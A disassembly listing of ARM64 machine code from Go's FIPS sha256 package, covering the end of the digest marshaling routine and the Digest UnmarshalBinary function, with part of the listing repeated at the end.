005124d8tbnz w5, 0, 0x5124e0
005124dcb 0x51257c
005124e0
005124e0loc_5124e0:
005124e0ldr x2, [sp+400]
005124e4ldr x0, [sp+384]
005124e8ldr x5, [sp+392]
005124ecadd x1, x5, 4
005124f0str x0, [sp+216]
005124f4str x5, [sp+224]
005124f8str x2, [sp+232]
005124fcstr x1, [sp+88]
00512500subs xzr, x2, x1
00512504b.hs 0x51250c
00512508b 0x512514
0051250c
0051250cloc_51250c:
0051250cstr x1, [sp+224]
00512510b 0x512534
00512514
00512514loc_512514:
00512514orr x3, xzr, 4
00512518adrp x4, 0xe3000
0051251cadd x4, x4, 3072
00512520bl runtime.growslice
00512524str x0, [sp+216]
00512528str x1, [sp+224]
0051252cstr x2, [sp+232]
00512530b 0x512534
00512534
00512534loc_512534:
00512534orr x3, xzr, 4
00512538str x3, [sp+80]
0051253cldr x3, [sp+88]
00512540sub x3, x3, 4
00512544ldr x4, [sp+216]
00512548add x0, x4, x3
0051254cstr x0, [sp+208]
00512550ldr x2, [sp+80]
00512554adrp x1, 0x19e000
00512558add x1, x1, 1286
0051255cbl runtime.memmove
00512560ldr x3, [sp+216]
00512564ldr x4, [sp+224]
00512568ldr x5, [sp+232]
0051256cstr x3, [sp+384]
00512570str x4, [sp+392]
00512574str x5, [sp+400]
00512578b 0x512618
0051257c
0051257cloc_51257c:
0051257cldr x2, [sp+400]
00512580ldr x0, [sp+384]
00512584ldr x5, [sp+392]
00512588add x1, x5, 4
0051258cstr x0, [sp+336]
00512590str x5, [sp+344]
00512594str x2, [sp+352]
00512598str x1, [sp+160]
0051259csubs xzr, x2, x1
005125a0b.hs 0x5125a8
005125a4b 0x5125b0
005125a8
005125a8loc_5125a8:
005125a8str x1, [sp+344]
005125acb 0x5125d0
005125b0
005125b0loc_5125b0:
005125b0orr x3, xzr, 4
005125b4adrp x4, 0xe3000
005125b8add x4, x4, 3072
005125bcbl runtime.growslice
005125c0str x0, [sp+336]
005125c4str x1, [sp+344]
005125c8str x2, [sp+352]
005125ccb 0x5125d0
005125d0
005125d0loc_5125d0:
005125d0orr x3, xzr, 4
005125d4str x3, [sp+152]
005125d8ldr x3, [sp+160]
005125dcsub x3, x3, 4
005125e0ldr x4, [sp+336]
005125e4add x0, x4, x3
005125e8str x0, [sp+328]
005125ecldr x2, [sp+152]
005125f0adrp x1, 0x19e000
005125f4add x1, x1, 1290
005125f8bl runtime.memmove
005125fcldr x3, [sp+336]
00512600ldr x4, [sp+344]
00512604ldr x5, [sp+352]
00512608str x3, [sp+384]
0051260cstr x4, [sp+392]
00512610str x5, [sp+400]
00512614b 0x512618
00512618
00512618loc_512618:
00512618ldr x4, [sp+376]
0051261cldrsb x27, [x4]
00512620ldr w3, [x4]
00512624str w3, [sp+76]
00512628ldr x0, [sp+384]
0051262cldr x1, [sp+392]
00512630ldr x2, [sp+400]
00512634bl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512638str x0, [sp+384]
0051263cstr x1, [sp+392]
00512640str x2, [sp+400]
00512644ldr x4, [sp+376]
00512648ldrsb x27, [x4]
0051264cldr w3, [x4+4]
00512650str w3, [sp+72]
00512654ldr x0, [sp+384]
00512658ldr x1, [sp+392]
0051265cldr x2, [sp+400]
00512660bl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512664str x0, [sp+384]
00512668str x1, [sp+392]
0051266cstr x2, [sp+400]
00512670ldr x4, [sp+376]
00512674ldrsb x27, [x4]
00512678ldr w3, [x4+8]
0051267cstr w3, [sp+68]
00512680ldr x0, [sp+384]
00512684ldr x1, [sp+392]
00512688ldr x2, [sp+400]
0051268cbl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512690str x0, [sp+384]
00512694str x1, [sp+392]
00512698str x2, [sp+400]
0051269cldr x4, [sp+376]
005126a0ldrsb x27, [x4]
005126a4ldr w3, [x4+12]
005126a8str w3, [sp+64]
005126acldr x0, [sp+384]
005126b0ldr x1, [sp+392]
005126b4ldr x2, [sp+400]
005126b8bl crypto/internal/fips140deps/byteorder.BEAppendUint32
005126bcstr x0, [sp+384]
005126c0str x1, [sp+392]
005126c4str x2, [sp+400]
005126c8ldr x4, [sp+376]
005126ccldrsb x27, [x4]
005126d0ldr w3, [x4+16]
005126d4str w3, [sp+60]
005126d8ldr x0, [sp+384]
005126dcldr x1, [sp+392]
005126e0ldr x2, [sp+400]
005126e4bl crypto/internal/fips140deps/byteorder.BEAppendUint32
005126e8str x0, [sp+384]
005126ecstr x1, [sp+392]
005126f0str x2, [sp+400]
005126f4ldr x4, [sp+376]
005126f8ldrsb x27, [x4]
005126fcldr w3, [x4+20]
00512700str w3, [sp+56]
00512704ldr x0, [sp+384]
00512708ldr x1, [sp+392]
0051270cldr x2, [sp+400]
00512710bl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512714str x0, [sp+384]
00512718str x1, [sp+392]
0051271cstr x2, [sp+400]
00512720ldr x4, [sp+376]
00512724ldrsb x27, [x4]
00512728ldr w3, [x4+24]
0051272cstr w3, [sp+52]
00512730ldr x0, [sp+384]
00512734ldr x1, [sp+392]
00512738ldr x2, [sp+400]
0051273cbl crypto/internal/fips140deps/byteorder.BEAppendUint32
00512740str x0, [sp+384]
00512744str x1, [sp+392]
00512748str x2, [sp+400]
0051274cldr x4, [sp+376]
00512750ldrsb x27, [x4]
00512754ldr w3, [x4+28]
00512758str w3, [sp+48]
0051275cldr x0, [sp+384]
00512760ldr x1, [sp+392]
00512764ldr x2, [sp+400]
00512768bl crypto/internal/fips140deps/byteorder.BEAppendUint32
0051276cstr x0, [sp+384]
00512770str x1, [sp+392]
00512774str x2, [sp+400]
00512778ldr x4, [sp+376]
0051277cldrsb x27, [x4]
00512780ldr x1, [x4+96]
00512784str x1, [sp+96]
00512788ldr x4, [sp+376]
0051278cldrsb x27, [x4]
00512790add x4, x4, 32
00512794ldrsb x27, [x4]
00512798subs xzr, x1, 64
0051279cb.ls 0x5127a4
005127a0b 0x51297c
005127a4
005127a4loc_5127a4:
005127a4b 0x5127a8
005127a8
005127a8loc_5127a8:
005127a8str x4, [sp+240]
005127acstr x1, [sp+248]
005127b0orr x5, xzr, 64
005127b4str x5, [sp+256]
005127b8ldr x2, [sp+400]
005127bcldr x0, [sp+384]
005127c0ldr x6, [sp+392]
005127c4str x0, [sp+304]
005127c8str x6, [sp+312]
005127ccstr x2, [sp+320]
005127d0ldr x7, [sp+248]
005127d4add x1, x6, x7
005127d8str x1, [sp+144]
005127dcsubs xzr, x2, x1
005127e0b.hs 0x5127e8
005127e4b 0x5127f0
005127e8
005127e8loc_5127e8:
005127e8str x1, [sp+312]
005127ecb 0x512810
005127f0
005127f0loc_5127f0:
005127f0ldr x3, [sp+248]
005127f4adrp x4, 0xe3000
005127f8add x4, x4, 3072
005127fcbl runtime.growslice
00512800str x0, [sp+304]
00512804str x1, [sp+312]
00512808str x2, [sp+320]
0051280cb 0x512810
00512810
00512810loc_512810:
00512810ldr x3, [sp+248]
00512814str x3, [sp+136]
00512818ldr x3, [sp+144]
0051281cldr x4, [sp+248]
00512820sub x3, x3, x4
00512824ldr x4, [sp+304]
00512828add x0, x4, x3
0051282cstr x0, [sp+296]
00512830ldr x2, [sp+136]
00512834ldr x1, [sp+240]
00512838bl runtime.memmove
0051283cldr x3, [sp+304]
00512840ldr x4, [sp+312]
00512844ldr x5, [sp+320]
00512848str x3, [sp+384]
0051284cstr x4, [sp+392]
00512850str x5, [sp+400]
00512854ldr x3, [sp+376]
00512858ldrsb x27, [x3]
0051285cldr x3, [x3+96]
00512860orr x4, xzr, 64
00512864sub x2, x4, x3
00512868str x2, [sp+128]
0051286cadrp x0, 0xe3000
00512870add x0, x0, 3072
00512874mov x1, x2
00512878bl runtime.makeslice
0051287cldr x3, [sp+128]
00512880ldr x4, [sp+128]
00512884str x0, [sp+240]
00512888str x3, [sp+248]
0051288cstr x4, [sp+256]
00512890ldr x2, [sp+400]
00512894ldr x0, [sp+384]
00512898ldr x3, [sp+392]
0051289cstr x0, [sp+272]
005128a0str x3, [sp+280]
005128a4str x2, [sp+288]
005128a8ldr x4, [sp+248]
005128acadd x1, x3, x4
005128b0str x1, [sp+120]
005128b4subs xzr, x2, x1
005128b8b.hs 0x5128c0
005128bcb 0x5128c8
005128c0
005128c0loc_5128c0:
005128c0str x1, [sp+280]
005128c4b 0x5128e8
005128c8
005128c8loc_5128c8:
005128c8ldr x3, [sp+248]
005128ccadrp x4, 0xe3000
005128d0add x4, x4, 3072
005128d4bl runtime.growslice
005128d8str x0, [sp+272]
005128dcstr x1, [sp+280]
005128e0str x2, [sp+288]
005128e4b 0x5128e8
005128e8
005128e8loc_5128e8:
005128e8ldr x3, [sp+248]
005128ecstr x3, [sp+112]
005128f0ldr x3, [sp+120]
005128f4ldr x4, [sp+248]
005128f8sub x3, x3, x4
005128fcldr x4, [sp+272]
00512900add x0, x4, x3
00512904str x0, [sp+264]
00512908ldr x2, [sp+112]
0051290cldr x1, [sp+240]
00512910bl runtime.memmove
00512914ldr x0, [sp+272]
00512918ldr x1, [sp+280]
0051291cldr x2, [sp+288]
00512920str x0, [sp+384]
00512924str x1, [sp+392]
00512928str x2, [sp+400]
0051292cldr x3, [sp+376]
00512930ldrsb x27, [x3]
00512934ldr x3, [x3+104]
00512938str x3, [sp+104]
0051293cbl crypto/internal/fips140deps/byteorder.BEAppendUint64
00512940str x0, [sp+384]
00512944str x1, [sp+392]
00512948str x2, [sp+400]
0051294cstr x0, [sp+184]
00512950str x1, [sp+192]
00512954str x2, [sp+200]
00512958stp xzr, xzr, [sp+168]
0051295cldr x0, [sp+184]
00512960ldr x1, [sp+192]
00512964ldr x2, [sp+200]
00512968mov x3, xzr
0051296cmov x4, xzr
00512970ldp x29, x30, [sp-8]
00512974add sp, sp, 368
00512978ret x30
0051297c
0051297cloc_51297c:
0051297corr x2, xzr, 64
00512980bl runtime.panicSliceAlen
00512984hint
00512988
00512988loc_512988:
00512988stp x0, x1, [sp+8]
0051298cstp x2, x3, [sp+24]
00512990mov x3, x30
00512994bl runtime.morestack_noctxt.abi0
00512998ldp x0, x1, [sp+8]
0051299cldp x2, x3, [sp+24]
005129a0b 0x512490
005129a4udf 0
005129a8udf 0
005129acudf 0
00512490
005129b0
005129b0crypto/internal/fips140/sha256.(*Digest).UnmarshalBinary: ; void crypto/internal/fips140/sha256.(*Digest).UnmarshalBinary(crypto/internal/fips140/sha256.Digest * d, struct []uint8 b)
005129b0ldr x16, [x28+16]
005129b4sub x17, sp, 352
005129b8subs xzr, x17, x16
005129bcb.ls 0x513144
005129c0sub x20, sp, 480
005129c4stp x29, x30, [x20-8]
005129c8add sp, x20, 0
005129ccsub x29, sp, 8
005129d0str x0, [sp+488]
005129d4str x1, [sp+496]
005129d8str x2, [sp+504]
005129dcstr x3, [sp+512]
005129e0stp xzr, xzr, [sp+120]
005129e4ldr x3, [sp+504]
005129e8str x3, [sp+104]
005129ecsubs xzr, x3, 4
005129f0cset x3, lt
005129f4strb w3, [sp+42]
005129f8b.lt 0x512a00
005129fcb 0x512a08
00512a00
00512a00loc_512a00:
00512a00orr x1, xzr, 4
00512a04b 0x512abc
00512a08
00512a08loc_512a08:
00512a08ldr x3, [sp+488]
00512a0cldrsb x27, [x3]
00512a10ldrb w3, [x3+112]
00512a14strb w3, [sp+41]
00512a18tbnz w3, 0, 0x512a20
00512a1cb 0x512aa8
00512a20
00512a20loc_512a20:
00512a20ldr x3, [sp+496]
00512a24ldr x2, [sp+512]
00512a28subs xzr, x2, 4
00512a2cb.hs 0x512a34
00512a30b 0x513138
00512a34
00512a34loc_512a34:
00512a34b 0x512a38
00512a38
00512a38loc_512a38:
00512a38str x3, [sp+328]
00512a3corr x1, xzr, 4
00512a40str x1, [sp+336]
00512a44str x2, [sp+344]
00512a48str x3, [sp+296]
00512a4cstr x1, [sp+304]
00512a50b 0x512a54
00512a54
00512a54loc_512a54:
00512a54b 0x512a58
00512a58
00512a58loc_512a58:
00512a58ldrb w4, [x3]
00512a5cb 0x512a60
00512a60
00512a60loc_512a60:
00512a60ldrb w5, [x3+1]
00512a64ubfm x5, x5, 56, 7
00512a68orr x4, x4, x5
00512a6cb 0x512a70
00512a70
00512a70loc_512a70:
00512a70ldrb w5, [x3+2]
00512a74ubfm x5, x5, 48, 7
00512a78orr x4, x4, x5
00512a7cb 0x512a80
00512a80
00512a80loc_512a80:
00512a80ldrb w3, [x3+3]
00512a84ubfm x3, x3, 40, 7
00512a88orr x3, x4, x3
00512a8cmovz x4, 26739
00512a90movk x4, 0x2610000
00512a94subs wzr, w3, w4
00512a98cset x3, ne
00512a9cb 0x512aa0
00512aa0
00512aa0loc_512aa0:
00512aa0strb w3, [sp+41]
00512aa4b 0x512ab0
00512aa8
00512aa8loc_512aa8:
00512aa8orr x1, xzr, 4
00512aacb 0x512ab0
00512ab0
00512ab0loc_512ab0:
00512ab0ldrb w3, [sp+41]
00512ab4strb w3, [sp+42]
00512ab8b 0x512abc
00512abc
00512abcloc_512abc:
00512abcldrb w3, [sp+42]
00512ac0strb w3, [sp+43]
00512ac4tbnz w3, 0, 0x512acc
00512ac8b 0x512ad0
00512acc
00512accloc_512acc:
00512accb 0x512b80
00512ad0
00512ad0loc_512ad0:
00512ad0ldr x3, [sp+488]
00512ad4ldrsb x27, [x3]
00512ad8ldrb w3, [x3+112]
00512adceor x4, x3, 1
00512ae0strb w4, [sp+41]
00512ae4tbnz w3, 0, 0x512aec
00512ae8b 0x512af0
00512aec
00512aecloc_512aec:
00512aecb 0x512b74
00512af0
00512af0loc_512af0:
00512af0ldr x3, [sp+496]
00512af4ldr x2, [sp+512]
00512af8subs xzr, x2, 4
00512afcb.hs 0x512b04
00512b00b 0x513134
00512b04
00512b04loc_512b04:
00512b04b 0x512b08
00512b08
00512b08loc_512b08:
00512b08str x3, [sp+328]
00512b0cstr x1, [sp+336]
00512b10str x2, [sp+344]
00512b14str x3, [sp+256]
00512b18str x1, [sp+264]
00512b1cb 0x512b20
00512b20
00512b20loc_512b20:
00512b20b 0x512b24
00512b24
00512b24loc_512b24:
00512b24ldrb w4, [x3]
00512b28b 0x512b2c
00512b2c
00512b2cloc_512b2c:
00512b2cldrb w5, [x3+1]
00512b30ubfm x5, x5, 56, 7
00512b34orr x4, x4, x5
00512b38b 0x512b3c
00512b3c
00512b3cloc_512b3c:
00512b3cldrb w5, [x3+2]
00512b40ubfm x5, x5, 48, 7
00512b44orr x4, x4, x5
00512b48b 0x512b4c
00512b4c
00512b4cloc_512b4c:
00512b4cldrb w3, [x3+3]
00512b50ubfm x3, x3, 40, 7
00512b54orr x3, x4, x3
00512b58movz x4, 26739
00512b5cmovk x4, 0x3610000
00512b60subs wzr, w3, w4
00512b64cset x3, ne
00512b68b 0x512b6c
00512b6c
00512b6cloc_512b6c:
00512b6cstrb w3, [sp+41]
00512b70b 0x512b74
00512b74
00512b74loc_512b74:
00512b74ldrb w3, [sp+41]
00512b78strb w3, [sp+43]
00512b7cb 0x512b80
00512b80
00512b80loc_512b80:
00512b80ldrb w3, [sp+43]
00512b84tbnz w3, 0, 0x512b8c
00512b88b 0x512bb8
00512b8c
00512b8cloc_512b8c:
00512b8cadrp x0, 0x1b4000
00512b90add x0, x0, 2256
00512b94movz x1, 44
00512b98bl errors.New
00512b9cstr x0, [sp+312]
00512ba0str x1, [sp+320]
00512ba4str x0, [sp+120]
00512ba8str x1, [sp+128]
00512bacldp x29, x30, [sp-8]
00512bb0add sp, sp, 480
00512bb4ret x30
00512bb8
00512bb8loc_512bb8:
00512bb8ldr x3, [sp+504]
00512bbcstr x3, [sp+104]
00512bc0subs xzr, x3, 108
00512bc4b.ne 0x512bcc
00512bc8b 0x512bf8
00512bcc
00512bccloc_512bcc:
00512bccadrp x0, 0x1b1000
00512bd0add x0, x0, 234
00512bd4movz x1, 38
00512bd8bl errors.New
00512bdcstr x0, [sp+312]
00512be0str x1, [sp+320]
00512be4str x0, [sp+120]
00512be8str x1, [sp+128]
00512becldp x29, x30, [sp-8]
00512bf0add sp, sp, 480
00512bf4ret x30
00512bf8
00512bf8loc_512bf8:
00512bf8ldr x3, [sp+504]
00512bfcldr x4, [sp+496]
00512c00ldr x5, [sp+512]
00512c04b 0x512c08
00512c08
00512c08loc_512c08:
00512c08subs xzr, x3, 4
00512c0cb.hs 0x512c14
00512c10b 0x513128
00512c14
00512c14loc_512c14:
00512c14sub x5, x5, 4
00512c18sub x6, xzr, x5
00512c1csub x3, x3, 4
00512c20sbfm x6, x6, 63, 63
00512c24and x6, x6, 4
00512c28add x4, x4, x6
00512c2cstr x4, [sp+496]
00512c30str x3, [sp+504]
00512c34str x5, [sp+512]
00512c38str xzr, [sp+328]
00512c3cstp xzr, xzr, [sp+336]
00512c40ldr x0, [sp+496]
00512c44ldr x1, [sp+504]
00512c48ldr x2, [sp+512]
00512c4cbl crypto/internal/fips140/sha256.consumeUint32
00512c50str x0, [sp+328]
00512c54str x1, [sp+336]
00512c58str x2, [sp+344]
00512c5cstr w3, [sp+56]
00512c60ldr x3, [sp+336]
00512c64ldr x4, [sp+344]
00512c68ldr x5, [sp+328]
00512c6cstr x5, [sp+272]
00512c70str x3, [sp+280]
00512c74str x4, [sp+288]
00512c78ldr w3, [sp+56]
00512c7cstr w3, [sp+52]
00512c80ldr x3, [sp+272]
00512c84ldr x4, [sp+280]
00512c88ldr x5, [sp+288]
00512c8cstr x3, [sp+496]
00512c90str x4, [sp+504]
00512c94str x5, [sp+512]
00512c98ldr x3, [sp+488]
00512c9cldrsb x27, [x3]
00512ca0ldr w4, [sp+52]
00512ca4str w4, [x3]
00512ca8str xzr, [sp+328]
00512cacstp xzr, xzr, [sp+336]
00512cb0ldr x0, [sp+496]
00512cb4ldr x1, [sp+504]
00512cb8ldr x2, [sp+512]
00512cbcbl crypto/internal/fips140/sha256.consumeUint32
00512cc0str x0, [sp+328]
00512cc4str x1, [sp+336]
00512cc8str x2, [sp+344]
00512cccstr w3, [sp+56]
00512cd0ldr x3, [sp+336]
00512cd4ldr x4, [sp+344]
00512cd8ldr x5, [sp+328]
00512cdcstr x5, [sp+184]
00512ce0str x3, [sp+192]
00512ce4str x4, [sp+200]
00512ce8ldr w3, [sp+56]
00512cecstr w3, [sp+48]
00512cf0ldr x3, [sp+184]
00512cf4ldr x4, [sp+192]
00512cf8ldr x5, [sp+200]
00512cfcstr x3, [sp+496]
00512d00str x4, [sp+504]
00512d04str x5, [sp+512]
00512d08ldr x3, [sp+488]
00512d0cldrsb x27, [x3]
00512d10ldr w4, [sp+48]
00512d14str w4, [x3+4]
00512d18str xzr, [sp+328]
00512d1cstp xzr, xzr, [sp+336]
00512d20ldr x0, [sp+496]
00512d24ldr x1, [sp+504]
00512d28ldr x2, [sp+512]
00512d2cbl crypto/internal/fips140/sha256.consumeUint32
00512d30str x0, [sp+328]
00512d34str x1, [sp+336]
00512d38str x2, [sp+344]
00512d3cstr w3, [sp+56]
00512d40ldr x3, [sp+336]
00512d44ldr x4, [sp+344]
00512d48ldr x5, [sp+328]
00512d4cstr x5, [sp+160]
00512d50str x3, [sp+168]
00512d54str x4, [sp+176]
00512d58ldr w3, [sp+56]
00512d5cstr w3, [sp+44]
00512d60ldr x3, [sp+160]
00512d64ldr x4, [sp+168]
00512d68ldr x5, [sp+176]
00512d6cstr x3, [sp+496]
00512d70str x4, [sp+504]
00512d74str x5, [sp+512]
00512d78ldr x3, [sp+488]
00512d7cldrsb x27, [x3]
00512d80ldr w4, [sp+44]
00512d84str w4, [x3+8]
00512d88str xzr, [sp+328]
00512d8cstp xzr, xzr, [sp+336]
00512d90ldr x0, [sp+496]
00512d94ldr x1, [sp+504]
00512d98ldr x2, [sp+512]
00512d9cbl crypto/internal/fips140/sha256.consumeUint32
00512da0str x0, [sp+328]
00512da4str x1, [sp+336]
00512da8str x2, [sp+344]
00512dacstr w3, [sp+56]
00512db0ldr x3, [sp+336]
00512db4ldr x4, [sp+344]
00512db8ldr x5, [sp+328]
00512dbcstr x5, [sp+136]
00512dc0str x3, [sp+144]
00512dc4str x4, [sp+152]
00512dc8ldr w3, [sp+56]
00512dccstr w3, [sp+76]
00512dd0ldr x3, [sp+136]
00512dd4ldr x4, [sp+144]
00512dd8ldr x5, [sp+152]
00512ddcstr x3, [sp+496]
00512de0str x4, [sp+504]
00512de4str x5, [sp+512]
00512de8ldr x3, [sp+488]
00512decldrsb x27, [x3]
00512df0ldr w4, [sp+76]
00512df4str w4, [x3+12]
00512df8str xzr, [sp+328]
00512dfcstp xzr, xzr, [sp+336]
00512e00ldr x0, [sp+496]
00512e04ldr x1, [sp+504]
00512e08ldr x2, [sp+512]
00512e0cbl crypto/internal/fips140/sha256.consumeUint32
00512e10str x0, [sp+328]
00512e14str x1, [sp+336]
00512e18str x2, [sp+344]
00512e1cstr w3, [sp+56]
00512e20ldr x3, [sp+336]
00512e24ldr x4, [sp+344]
00512e28ldr x5, [sp+328]
00512e2cstr x5, [sp+448]
00512e30str x3, [sp+456]
00512e34str x4, [sp+464]
00512e38ldr w3, [sp+56]
00512e3cstr w3, [sp+72]
00512e40ldr x3, [sp+448]
00512e44ldr x4, [sp+456]
00512e48ldr x5, [sp+464]
00512e4cstr x3, [sp+496]
00512e50str x4, [sp+504]
00512e54str x5, [sp+512]
00512e58ldr x3, [sp+488]
00512e5cldrsb x27, [x3]
00512e60ldr w4, [sp+72]
00512e64str w4, [x3+16]
00512e68str xzr, [sp+328]
00512e6cstp xzr, xzr, [sp+336]
00512e70ldr x0, [sp+496]
00512e74ldr x1, [sp+504]
00512e78ldr x2, [sp+512]
00512e7cbl crypto/internal/fips140/sha256.consumeUint32
00512e80str x0, [sp+328]
00512e84str x1, [sp+336]
00512e88str x2, [sp+344]
00512e8cstr w3, [sp+56]
00512e90ldr x3, [sp+336]
00512e94ldr x4, [sp+344]
00512e98ldr x5, [sp+328]
00512e9cstr x5, [sp+424]
00512ea0str x3, [sp+432]
00512ea4str x4, [sp+440]
00512ea8ldr w3, [sp+56]
00512eacstr w3, [sp+68]
00512eb0ldr x3, [sp+424]
00512eb4ldr x4, [sp+432]
00512eb8ldr x5, [sp+440]
00512ebcstr x3, [sp+496]
00512ec0str x4, [sp+504]
00512ec4str x5, [sp+512]
00512ec8ldr x3, [sp+488]
00512eccldrsb x27, [x3]
00512ed0ldr w4, [sp+68]
00512ed4str w4, [x3+20]
00512ed8str xzr, [sp+328]
00512edcstp xzr, xzr, [sp+336]
00512ee0ldr x0, [sp+496]
00512ee4ldr x1, [sp+504]
00512ee8ldr x2, [sp+512]
00512eecbl crypto/internal/fips140/sha256.consumeUint32
00512ef0str x0, [sp+328]
00512ef4str x1, [sp+336]
00512ef8str x2, [sp+344]
00512efcstr w3, [sp+56]
00512f00ldr x3, [sp+336]
00512f04ldr x4, [sp+344]
00512f08ldr x5, [sp+328]
00512f0cstr x5, [sp+400]
00512f10str x3, [sp+408]
00512f14str x4, [sp+416]
00512f18ldr w3, [sp+56]
00512f1cstr w3, [sp+64]
00512f20ldr x3, [sp+400]
00512f24ldr x4, [sp+408]
00512f28ldr x5, [sp+416]
00512f2cstr x3, [sp+496]
00512f30str x4, [sp+504]
00512f34str x5, [sp+512]
00512f38ldr x3, [sp+488]
00512f3cldrsb x27, [x3]
00512f40ldr w4, [sp+64]
00512f44str w4, [x3+24]
00512f48str xzr, [sp+328]
00512f4cstp xzr, xzr, [sp+336]
00512f50ldr x0, [sp+496]
00512f54ldr x1, [sp+504]
00512f58ldr x2, [sp+512]
00512f5cbl crypto/internal/fips140/sha256.consumeUint32
00512f60str x0, [sp+328]
00512f64str x1, [sp+336]
00512f68str x2, [sp+344]
00512f6cstr w3, [sp+56]
00512f70ldr x3, [sp+336]
00512f74ldr x4, [sp+344]
00512f78ldr x5, [sp+328]
00512f7cstr x5, [sp+376]
00512f80str x3, [sp+384]
00512f84str x4, [sp+392]
00512f88ldr w3, [sp+56]
00512f8cstr w3, [sp+60]
00512f90ldr x3, [sp+376]
00512f94ldr x4, [sp+384]
00512f98ldr x5, [sp+392]
00512f9cstr x3, [sp+496]
00512fa0str x4, [sp+504]
00512fa4str x5, [sp+512]
00512fa8ldr x3, [sp+488]
00512facldrsb x27, [x3]
00512fb0ldr w4, [sp+60]
00512fb4str w4, [x3+28]
00512fb8ldr x3, [sp+488]
00512fbcldrsb x27, [x3]
00512fc0add x3, x3, 32
00512fc4ldrsb x27, [x3]
00512fc8b 0x512fcc
00512fcc
00512fccloc_512fcc:
00512fccstr x3, [sp+328]
00512fd0orr x4, xzr, 64
00512fd4str x4, [sp+336]
00512fd8str x4, [sp+344]
00512fdcstr x3, [sp+232]
00512fe0str x4, [sp+240]
00512fe4str x4, [sp+248]
00512fe8ldr x3, [sp+504]
00512fecldr x4, [sp+496]
00512ff0ldr x5, [sp+512]
00512ff4str x4, [sp+208]
00512ff8str x3, [sp+216]
00512ffcstr x5, [sp+224]
00513000ldr x4, [sp+240]
00513004str x4, [sp+88]
00513008subs xzr, x4, x3
0051300cb.gt 0x513014
00513010b 0x51301c
00513014
00513014loc_513014:
00513014str x3, [sp+88]
00513018b 0x513020
0051301c
0051301cloc_51301c:
0051301cb 0x513020
00513020
00513020loc_513020:
00513020ldr x3, [sp+208]
00513024ldr x4, [sp+232]
00513028subs xzr, x3, x4
0051302cb.ne 0x513034
00513030b 0x513050
00513034
00513034loc_513034:
00513034ldr x3, [sp+88]
00513038str x3, [sp+80]
0051303cldr x2, [sp+80]
00513040ldr x1, [sp+208]
00513044ldr x0, [sp+232]
00513048bl runtime.memmove
0051304cb 0x513054
00513050
00513050loc_513050:
00513050b 0x513054
00513054
00513054loc_513054:
00513054ldr x0, [sp+88]
00513058str x0, [sp+104]
0051305cldr x1, [sp+504]
00513060ldr x3, [sp+496]
00513064ldr x4, [sp+512]
00513068b 0x51306c
0051306c
0051306cloc_51306c:
0051306csubs xzr, x1, x0
00513070b.hs 0x513078
00513074b 0x513124
00513078
00513078loc_513078:
00513078sub x4, x4, x0
0051307csub x5, x1, x0
00513080sub x6, xzr, x4
00513084and x6, x0, x6, asr #63
00513088add x3, x3, x6
0051308cstr x3, [sp+496]
00513090str x5, [sp+504]
00513094str x4, [sp+512]
00513098str xzr, [sp+328]
0051309cstp xzr, xzr, [sp+336]
005130a0ldr x0, [sp+496]
005130a4ldr x1, [sp+504]
005130a8ldr x2, [sp+512]
005130acbl crypto/internal/fips140/sha256.consumeUint64
005130b0str x0, [sp+328]
005130b4str x1, [sp+336]
005130b8str x2, [sp+344]
005130bcstr x3, [sp+96]
005130c0str x0, [sp+352]
005130c4str x1, [sp+360]
005130c8str x2, [sp+368]
005130ccldr x3, [sp+96]
005130d0str x3, [sp+112]
005130d4str x0, [sp+496]
005130d8str x1, [sp+504]
005130dcstr x2, [sp+512]
005130e0ldr x3, [sp+488]
005130e4ldrsb x27, [x3]
005130e8ldr x4, [sp+112]
005130ecstr x4, [x3+104]
005130f0ldr x3, [sp+488]
005130f4ldrsb x27, [x3]
005130f8ldr x4, [sp+488]
005130fcldrsb x27, [x4]
00513100ldr x4, [x4+104]
00513104and x4, x4, 63
00513108str x4, [x3+96]
0051310cstp xzr, xzr, [sp+120]
00513110mov x0, xzr
00513114mov x1, xzr
00513118ldp x29, x30, [sp-8]
0051311cadd sp, sp, 480
00513120ret x30
00513124
00513124loc_513124:
00513124bl runtime.panicSliceB
00513128
00513128loc_513128:
00513128mov x0, x1
0051312cmov x1, x3
00513130bl runtime.panicSliceB
00513134
00513134loc_513134:
00513134bl runtime.panicSliceAcap
00513138
00513138loc_513138:
00513138orr x1, xzr, 4
0051313cbl runtime.panicSliceAcap
00513140hint
00513144
00513144loc_513144:
00513144stp x0, x1, [sp+8]
00513148stp x2, x3, [sp+24]
0051314cmov x3, x30
00513150bl runtime.morestack_noctxt.abi0
00513154ldp x0, x1, [sp+8]
00513158ldp x2, x3, [sp+24]
0051315cb 0x5129b0
005129b0
005129b0crypto/internal/fips140/sha256.(*Digest).UnmarshalBinary: ; void crypto/internal/fips140/sha256.(*Digest).UnmarshalBinary(crypto/internal/fips140/sha256.Digest * d, struct []uint8 b)
005129b0ldr x16, [x28+16]
005129b4sub x17, sp, 352
005129b8subs xzr, x17, x16
005129bcb.ls 0x513144
005129c0sub x20, sp, 480
005129c4stp x29, x30, [x20-8]
005129c8add sp, x20, 0
005129ccsub x29, sp, 8
005129d0str x0, [sp+488]
005129d4str x1, [sp+496]
005129d8str x2, [sp+504]
005129dcstr x3, [sp+512]
005129e0stp xzr, xzr, [sp+120]
005129e4ldr x3, [sp+504]
005129e8str x3, [sp+104]
005129ecsubs xzr, x3, 4
005129f0cset x3, lt
005129f4strb w3, [sp+42]
005129f8b.lt 0x512a00
005129fcb 0x512a08
00512a00
00512a00loc_512a00:
00512a00orr x1, xzr, 4
00512a04b 0x512abc
00512a08
00512a08loc_512a08:
00512a08ldr x3, [sp+488]
00512a0cldrsb x27, [x3]
00512a10ldrb w3, [x3+112]
00512a14strb w3, [sp+41]
00512a18tbnz w3, 0, 0x512a20
00512a1cb 0x512aa8
00512a20
00512a20loc_512a20:
00512a20ldr x3, [sp+496]
00512a24ldr x2, [sp+512]
00512a28subs xzr, x2, 4
00512a2cb.hs 0x512a34
00512a30b 0x513138
00512a34
00512a34loc_512a34:
00512a34b 0x512a38
00512a38
00512a38loc_512a38:
00512a38str x3, [sp+328]
00512a3corr x1, xzr, 4
00512a40str x1, [sp+336]
00512a44str x2, [sp+344]
00512a48str x3, [sp+296]
00512a4cstr x1, [sp+304]
00512a50b 0x512a54
00512a54
00512a54loc_512a54:
00512a54b 0x512a58
00512a58
00512a58loc_512a58:
00512a58ldrb w4, [x3]
00512a5cb 0x512a60
00512a60
00512a60loc_512a60:
